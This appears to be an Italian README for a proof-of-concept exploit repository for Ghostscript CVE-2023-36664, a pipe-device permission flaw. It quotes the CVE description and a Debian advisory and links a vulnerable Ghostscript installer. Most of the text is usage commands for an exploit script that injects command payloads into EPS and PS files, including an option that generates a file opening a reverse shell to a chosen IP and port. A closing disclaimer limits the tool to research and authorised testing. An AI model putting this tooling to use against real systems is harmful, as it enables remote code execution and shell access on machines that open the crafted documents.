
La vulnerabilità divulgata in Ghostscript precedente alla versione 10.01.2 consente l'esecuzione di codice (punteggio CVSS 9.8).
Ufficiale descrizione della vulnerabilità:
Artifex Ghostscript fino alla 10.01.2 gestisce in modo errato la convalida dei permessi per i dispositivi pipe (con il prefisso %pipe% o con il prefisso del carattere pipe |).
Debian ha rilasciato un advisory di sicurezza che menziona la possibile esecuzione di comandi arbitrari:
"È stato scoperto che Ghostscript, l'interprete GPL PostScript/PDF, non gestisce correttamente la convalida dei permessi per i dispositivi pipe, il che potrebbe risultare nell'esecuzione di comandi arbitrari se vengono elaborati file di documento malformati."
Il repository è stato creato per un post del blog di analisi CVE disponibile sul blog di vsociety.
Scarica Ghostscript 10.01.1 qui: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Link diretto all'eseguibile Windows x64: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
Lo sfruttamento può avvenire all'apertura di un file PS o EPS e può consentire l'esecuzione di codice a causa della gestione errata della convalida dei permessi per i dispositivi pipe da parte di Ghostscript.
Utilizzo: python3 CVE_2023_36664_exploit.py <input_file> <command>
Esempio:
python3 CVE_2023_36664_exploit.py file.eps "calc"
Questo genera un nuovo file chiamato file_injected.eps.
Aprilo con Ghostscript per attivare la calcolatrice (dalla versione 9.50 devi anche usare l'opzione -dNOSAFER):
gs10011w64.exe -dNOSAFER .\file_injected.eps
Altri esempi: Genera un nuovo file EPS chiamato run_calculator.eps con payload "calc" (apre una nuova calcolatrice su Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Genera un nuovo file EPS chiamato rev_shell.eps con un IP personalizzato (avvia una reverse shell quando viene attivato su Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Genera un nuovo file PS malicius.ps con payload "calc" (apre una nuova calcolatrice su Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Inietta un payload dannoso personalizzato ("calc") in un file esistente chiamato file.eps (apre una nuova calcolatrice su Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato all'uso per attaccare sistemi, se non quando esplicitamente autorizzato. I manutentori del progetto non sono responsabili dell'eventuale uso improprio del software. Utilizzare in modo responsabile.